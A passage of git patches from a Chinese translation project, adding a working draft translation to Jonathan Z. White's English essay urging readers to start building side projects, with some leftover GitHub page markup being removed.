-<p>比如，我做了 <a href="http://jonathanzwhite.github.io/yc-careers/">YC Careers</a> 和 <a href="https://atomspace.co/">AtomSpace</a> 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 <a href="https://www.producthunt.com/posts/yc-careers">ProductHunt</a> 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。</p>
-<p><strong>你解决越大的痛点，就越容易找到用户。</strong></p>
-<p>同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。</p>
-<p>想要了解更多的话，<a href="https://amasad.me/carmack">John Carmack on Idea Generation</a> 和 <a href="http://paulgraham.com/startupideas.html">How to Get Startup Ideas</a> 这两篇文章是非常好的开始。</p>
-<h3><a id="user-content-4-放弃好主意坏主意的想法" class="anchor" href="#4-放弃好主意坏主意的想法" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>4. 放弃”好主意/坏主意“的想法</h3>
-<p>当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。</p>
-<p><strong>相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。</strong> 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 <a href="https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz">7 Rejections</a> 里详细讲述了被投资人拒绝的故事。</p>
-<p><a href="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" target="_blank"><img src="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png" style="max-width:100%;"></a></p>
-<p>唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。</p>
-<h3><a id="user-content-5-寻求帮助" class="anchor" href="#5-寻求帮助" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>5. 寻求帮助</h3>
-<p>** 当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 <strong>你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。</strong></p>
-<p>我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。</p>
-<p>在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。</p>
-<hr>
-<p>开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。</p>
-<p>所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。</p>
-<p>你现在在做神马项目呢？有什么是我能帮到你的吗？可以在这里或者我的 <a href="https://twitter.com/jonathanzwhite">tweet</a> 下面留言。</p>
-<p>我在 Medium 上每周都会发文。也可以关注我的 <a href="https://twitter.com/JonathanZWhite">Twitter</a>，我会发一些关于设计、前端开发和虚拟现实的杂想。</p>
-<p><em>P.S. If you enjoyed this article, it would mean a lot if you click the <g-emoji alias="green_heart" fallback-src="https://assets-cdn.github.com/images/icons/emoji/unicode/1f49a.png" ios-version="6.0">💚</g-emoji> and share with friends.</em>（可删？）</p>
-<hr>
-<blockquote>
-<p><a href="https://github.com/xitu/gold-miner">掘金翻译计划</a> 是一个翻译优质互联网技术文章的社区，文章来源为 <a href="https://juejin.im">掘金</a> 上的英文分享文章。内容覆盖 <a href="https://github.com/xitu/gold-miner#android">Android</a>、<a href="https://github.com/xitu/gold-miner#ios">iOS</a>、<a href="https://github.com/xitu/gold-miner#react">React</a>、<a href="https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF">前端</a>、<a href="https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF">后端</a>、<a href="https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81">产品</a>、<a href="https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1">设计</a> 等领域，想要查看更多优质译文请持续关注 <a href="https://github.com/xitu/gold-miner">掘金翻译计划</a>。</p>
-</blockquote>
-</article>
-  </div>
-
-</div>
-
-<button type="button" data-facebox="#jump-to-line" data-facebox-class="linejump" data-hotkey="l" class="d-none">Jump to Line</button>
-<div id="jump-to-line" style="display:none">
-  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="" class="js-jump-to-line-form" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
-    <input class="form-control linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line&hellip;" aria-label="Jump to line" autofocus>
-    <button type="submit" class="btn">Go</button>
-</form></div>
-
-
-  </div>
-  <div class="modal-backdrop js-touch-events"></div>
-</div>
-
-    </div>
-  </div>
-
-  </div>
-
-      <div class="container site-footer-container">
-  <div class="site-footer" role="contentinfo">
-    <ul class="site-footer-links float-right">
-        <li><a href="https://github.com/contact" data-ga-click="Footer, go to contact, text:contact">Contact GitHub</a></li>
-      <li><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li>
-      <li><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li>
-      <li><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li>
-        <li><a href="https://github.com/blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li>
-        <li><a href="https://github.com/about" data-ga-click="Footer, go to about, text:about">About</a></li>
-
-    </ul>
-
-    <a href="https://github.com" aria-label="Homepage" class="site-footer-mark" title="GitHub">
-      <svg aria-hidden="true" class="octicon octicon-mark-github" height="24" version="1.1" viewBox="0 0 16 16" width="24"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
-</a>
-    <ul class="site-footer-links">
-      <li>&copy; 2017 <span title="0.09919s from github-fe158-cp1-prd.iad.github.net">GitHub</span>, Inc.</li>
-        <li><a href="https://github.com/site/terms" data-ga-click="Footer, go to terms, text:terms">Terms</a></li>
-        <li><a href="https://github.com/site/privacy" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a></li>
-        <li><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security">Security</a></li>
-        <li><a href="https://status.github.com/" data-ga-click="Footer, go to status, text:status">Status</a></li>
-        <li><a href="https://help.github.com" data-ga-click="Footer, go to help, text:help">Help</a></li>
-    </ul>
-  </div>
-</div>
-
-
-
-  
-
-  <div id="ajax-error-message" class="ajax-error-message flash flash-error">
-    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
-    <button type="button" class="flash-close js-flash-close js-ajax-error-dismiss" aria-label="Dismiss error">
-      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-    </button>
-    You can't perform that action at this time.
-  </div>
-
-
-    <script crossorigin="anonymous" integrity="sha256-ikMY/+oJoM24IUt2zykmufagztMYoxe+1BnbGSFMaQ0=" src="https://assets-cdn.github.com/assets/compat-8a4318ffea09a0cdb8214b76cf2926b9f6a0ced318a317bed419db19214c690d.js"></script>
-    <script crossorigin="anonymous" integrity="sha256-bRCeda2EcbpBUIJybADDX7kpzquXUIJJKDXxHsqMB9k=" src="https://assets-cdn.github.com/assets/frameworks-6d109e75ad8471ba415082726c00c35fb929ceab975082492835f11eca8c07d9.js"></script>
-    <script async="async" crossorigin="anonymous" integrity="sha256-wC5XS/AFJkeL8nkWRggFsWsLsKi9cy0rFOeeMdWkUig=" src="https://assets-cdn.github.com/assets/github-c02e574bf00526478bf27916460805b16b0bb0a8bd732d2b14e79e31d5a45228.js"></script>
-    
-    
-    
-    
-  <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none">
-    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
-    <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span>
-    <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span>
-  </div>
-  <div class="facebox" id="facebox" style="display:none;">
-  <div class="facebox-popup">
-    <div class="facebox-content" role="dialog" aria-labelledby="facebox-header" aria-describedby="facebox-description">
-    </div>
-    <button type="button" class="facebox-close js-facebox-close" aria-label="Close modal">
-      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-    </button>
-  </div>
-</div>
-
-
-  </body>
-</html>
+---
 
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
\ No newline at end of file

From b3a1f53af854a7ca405d5e19b9343feb4195b227 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 22:04:58 -0400
Subject: [PATCH 072/638] ready for proofreading

---
 ...ng-will-change-until-you-start-building.md | 70 +++++++++----------
 1 file changed, 35 insertions(+), 35 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 0d57984107d..26cc605b437 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -1,90 +1,90 @@
 > * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)
 > * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[owenlyn](https://github.com/owenlyn)
 > * 校对者：
 
 ---
 
 ![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
-# Nothing will change until you start building.
+# Nothing will change until you start building. 真正行动之前 你将一无所成
 
-This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.
+This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
 
-This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.
+This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it. 接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
 
-This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.
+This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it. 这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
 
-The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly.
+The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly. 你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.
+In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue. 在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
 
 
 ![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
 
-With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.
+With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。
 
 ---
 
-### 1. Define your goal
+### 1. Define your goal确定目标
 
-Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.
+Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
 
-**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.
+**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently. **尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
 
-### 2. Stay on track
+### 2. Stay on track执行计划
 
-Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound.
+Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound. 有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.
+Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
 
-One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.
+One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
 
-### 3. Solve a problem
+### 3. Solve a problem 解决一个问题
 
-Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.
+Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
 
-For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.
+For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
 
-**The bigger the pain point you’re trying to solve, the easier it will be to find users.**
+**The bigger the pain point you’re trying to solve, the easier it will be to find users.你尝试解决多大的痛点，找用户就有多容易。**
 
-Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.
+Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem. 同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
 
-For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started.
+For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started. 想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
 
-### 4. Ditch the “good idea / bad idea” mindset
+### 4. Ditch the “good idea / bad idea” mindset 放弃”好主意/坏主意“的想法
 
-Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.
+Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
 
-**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz).
+**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz). **相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
 ![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 
-The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.
+The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better. 唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。
 
-### 5. Ask for help
+### 5. Ask for help寻求帮助
 
-When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.**
+When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.** 当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
 
-Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.
+Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter. 我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
 
-Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.
+Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message. 在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
 
 ---
 
-Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.
+Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。
 
-So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.
+So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。
 
-What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.
+What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.你现在在做神马项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。
 
-You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality.
+You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality. 我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
 
-*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*
+*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*（可删？）
 
 ---
 
-> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
\ No newline at end of file
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 784732d642d3393d58ce677312cb0e1f3854a8d8 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 22:06:28 -0400
Subject: [PATCH 073/638] ...

---
 ...ng-will-change-until-you-start-building.md | 780 ++++++++++++++++--
 1 file changed, 733 insertions(+), 47 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 26cc605b437..df8d0872aa7 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -1,90 +1,776 @@
-> * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)
